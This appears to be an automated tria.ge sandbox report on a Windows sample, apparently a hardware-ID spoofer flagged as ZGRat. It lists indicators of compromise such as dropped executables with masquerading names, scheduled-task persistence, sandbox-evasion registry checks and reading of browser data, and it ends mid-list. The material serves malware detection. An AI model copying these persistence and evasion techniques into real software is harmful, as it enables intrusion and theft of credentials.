Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
1200s -
max time network
1205s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
05/04/2024, 23:43
Static task
static1
URLScan task
urlscan1
Behavioral task
behavioral1
Sample
http://roblox.com
Resource
win10-20240404-en
Malware Config
Signatures
-
Detect ZGRat V1 2 IoCs
resource yara_rule behavioral2/files/0x000700000002346e-1622.dat family_zgrat_v1 behavioral2/memory/4628-1646-0x0000000000FC0000-0x00000000011C4000-memory.dmp family_zgrat_v1 -
Process spawned unexpected child process 15 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1412 2704 schtasks.exe 215 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3232 2704 schtasks.exe 215 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3980 2704 schtasks.exe 215 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2208 2704 schtasks.exe 215 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3836 2704 schtasks.exe 215 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4932 2704 schtasks.exe 215 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4028 2704 schtasks.exe 215 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4304 2704 schtasks.exe 215 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4340 2704 schtasks.exe 215 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5072 2704 schtasks.exe 215 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4708 2704 schtasks.exe 215 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4604 2704 schtasks.exe 215 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3076 2704 schtasks.exe 215 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1848 2704 schtasks.exe 215 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3396 2704 schtasks.exe 215 -
Nirsoft 2 IoCs
resource yara_rule behavioral2/files/0x0009000000023460-1585.dat Nirsoft behavioral2/files/0x0007000000023465-1631.dat Nirsoft -
Blocklisted process makes network request 2 IoCs
flow pid Process 497 4656 powershell.exe 507 4308 powershell.exe -
Creates new service(s) 1 TTPs
-
Downloads MZ/PE file
-
Stops running service(s) 3 TTPs
-
Checks computer location settings 2 TTPs 8 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-513485977-2495024337-1260977654-1000\Control Panel\International\Geo\Nation sphyperRuntimedhcpSvc.exe Key value queried \REGISTRY\USER\S-1-5-21-513485977-2495024337-1260977654-1000\Control Panel\International\Geo\Nation HyperSpoof.exe Key value queried \REGISTRY\USER\S-1-5-21-513485977-2495024337-1260977654-1000\Control Panel\International\Geo\Nation conhostsft.exe Key value queried \REGISTRY\USER\S-1-5-21-513485977-2495024337-1260977654-1000\Control Panel\International\Geo\Nation sphyperRuntimedhcpSvc.exe Key value queried \REGISTRY\USER\S-1-5-21-513485977-2495024337-1260977654-1000\Control Panel\International\Geo\Nation .sphyperRuntimedhcpSvc.exe Key value queried \REGISTRY\USER\S-1-5-21-513485977-2495024337-1260977654-1000\Control Panel\International\Geo\Nation HyperSpoof.exe Key value queried \REGISTRY\USER\S-1-5-21-513485977-2495024337-1260977654-1000\Control Panel\International\Geo\Nation HpsrSpoof.exe Key value queried \REGISTRY\USER\S-1-5-21-513485977-2495024337-1260977654-1000\Control Panel\International\Geo\Nation conhostsft.exe -
Executes dropped EXE 37 IoCs
pid Process 4876 HyperSpoof.exe 4748 HpsrSpoof.exe 2172 sphyperRuntimedhcpSvc.exe 4116 conhostsft.exe 4388 Volumeid64.exe 2532 DevManView.exe 4696 DevManView.exe 724 DevManView.exe 1756 DevManView.exe 3860 DevManView.exe 3516 DevManView.exe 2812 DevManView.exe 716 DevManView.exe 4088 DevManView.exe 4628 .sphyperRuntimedhcpSvc.exe 2260 DevManView.exe 3304 DevManView.exe 4604 DevManView.exe 1888 DevManView.exe 2544 AMIDEWINx64.exe 4552 DevManView.exe 2392 DevManView.exe 3848 AMIDEWINx64.exe 2708 AMIDEWINx64.exe 2428 HyperSpoof.exe 4504 HpsrSpoof.exe 4476 sphyperRuntimedhcpSvc.exe 3664 conhostsft.exe 3864 .sphyperRuntimedhcpSvc.exe 4484 VC_redist.x64.exe 4500 RuntimeBroker.exe 1340 firefox.exe 4428 services.exe 2256 RuntimeBroker.exe 1412 services.exe 1408 firefox.exe 4720 StartMenuExperienceHost.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Enumerates connected drives 3 TTPs 30 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\F: DevManView.exe File opened (read-only) \??\F: DevManView.exe File opened (read-only) \??\F: DevManView.exe File opened (read-only) \??\D: DevManView.exe File opened (read-only) \??\F: DevManView.exe File opened (read-only) \??\F: DevManView.exe File opened (read-only) \??\D: DevManView.exe File opened (read-only) \??\D: DevManView.exe File opened (read-only) \??\D: DevManView.exe File opened (read-only) \??\D: DevManView.exe File opened (read-only) \??\D: DevManView.exe File opened (read-only) \??\F: DevManView.exe File opened (read-only) \??\D: DevManView.exe File opened (read-only) \??\D: DevManView.exe File opened (read-only) \??\D: DevManView.exe File opened (read-only) \??\D: DevManView.exe File opened (read-only) \??\F: DevManView.exe File opened (read-only) \??\D: DevManView.exe File opened (read-only) \??\F: DevManView.exe File opened (read-only) \??\D: DevManView.exe File opened (read-only) \??\D: DevManView.exe File opened (read-only) \??\F: DevManView.exe File opened (read-only) \??\F: DevManView.exe File opened (read-only) \??\F: DevManView.exe File opened (read-only) \??\F: DevManView.exe File opened (read-only) \??\F: DevManView.exe File opened (read-only) \??\F: DevManView.exe File opened (read-only) \??\F: DevManView.exe File opened (read-only) \??\D: DevManView.exe File opened (read-only) \??\D: DevManView.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 1 IoCs
flow ioc 217 camo.githubusercontent.com -
Maps connected drives based on registry 3 TTPs 64 IoCs
Disk information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\Count DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum DevManView.exe Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\Count = "0" DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\Count DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\Count DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\Count DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\Count DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\Count DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\Count DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\Count DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\Count DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\Count DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\Count DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\Count DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\Count DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum DevManView.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum DevManView.exe Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\NextInstance = "0" DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\Count DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 DevManView.exe Delete value \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\Count DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum DevManView.exe -
Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\system32\MRT.exe .conhostsft.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\MRT.exe VC_redist.x64.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 4484 set thread context of 4644 4484 VC_redist.x64.exe 275 -
Drops file in Program Files directory 2 IoCs
description ioc Process File created C:\Program Files\Internet Explorer\services.exe .sphyperRuntimedhcpSvc.exe File created C:\Program Files\Internet Explorer\c5b4cb5e9653cc .sphyperRuntimedhcpSvc.exe -
Drops file in Windows directory 5 IoCs
description ioc Process File opened for modification C:\Windows\INF\setupapi.dev.log DevManView.exe File opened for modification C:\Windows\INF\setupapi.dev.log DevManView.exe File created C:\Windows\Media\Afternoon\fontdrvhost.exe .sphyperRuntimedhcpSvc.exe File opened for modification C:\Windows\Media\Afternoon\fontdrvhost.exe .sphyperRuntimedhcpSvc.exe File created C:\Windows\Media\Afternoon\5b884080fd4f94 .sphyperRuntimedhcpSvc.exe -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3268 sc.exe 4664 sc.exe 3680 sc.exe 4768 sc.exe 4808 sc.exe 4380 sc.exe 3232 sc.exe 2208 sc.exe 2112 sc.exe 640 sc.exe 4932 sc.exe 1036 sc.exe 3972 sc.exe 2220 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks SCSI registry key(s) 3 TTPs 64 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0067 DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Control DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\Properties\{83da6326-97a6-4088-9453-a1923f573b29} DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0066\ DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\ContainerID DevManView.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0065 DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000 DevManView.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM DevManView.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000 DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\00000066\00000000 DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{80497100-8c73-48b9-aad9-ce387e19c56e} DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Mfg DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\00000066\00000000 DevManView.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\Properties\{83da6326-97a6-4088-9453-a1923f573b29} DevManView.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\ConfigFlags DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\ClassGUID DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Mfg DevManView.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002 DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Service DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0066 DevManView.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002 DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0064\ DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0066 DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Service DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\00000067\00000000 DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0066 DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\LocationInformation DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\ContainerID DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\00000067\00000000 DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000 DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\DeviceDesc DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\00000064\00000000 DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Driver DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0065 DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\00000064\00000000 DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Filters DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\Properties\{83da6326-97a6-4088-9453-a1923f573b29} DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\00000067\00000000 DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\LocationInformation DevManView.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM DevManView.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Service DevManView.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0067 DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0066\ DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0065\ DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0065 DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\00000066\00000000 DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0064\ DevManView.exe Delete value \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{a8b865dd-2e3d-4094-ad97-e593a70c75d6}\0002\ DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Driver DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0067 DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{83da6326-97a6-4088-9453-a1923f573b29} DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0065\ DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0067 DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Device Parameters DevManView.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\ClassGuid DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\Mfg DevManView.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\Service DevManView.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0066 DevManView.exe -
Checks processor information in registry 2 TTPs 11 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier firefox.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 firefox.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier firefox.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 firefox.exe -
Creates scheduled task(s) 1 TTPs 15 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3836 schtasks.exe 4304 schtasks.exe 5072 schtasks.exe 4604 schtasks.exe 3232 schtasks.exe 4932 schtasks.exe 4708 schtasks.exe 3076 schtasks.exe 1848 schtasks.exe 3396 schtasks.exe 3980 schtasks.exe 2208 schtasks.exe 4028 schtasks.exe 4340 schtasks.exe 1412 schtasks.exe -
Enumerates system info in registry 2 TTPs 9 IoCs
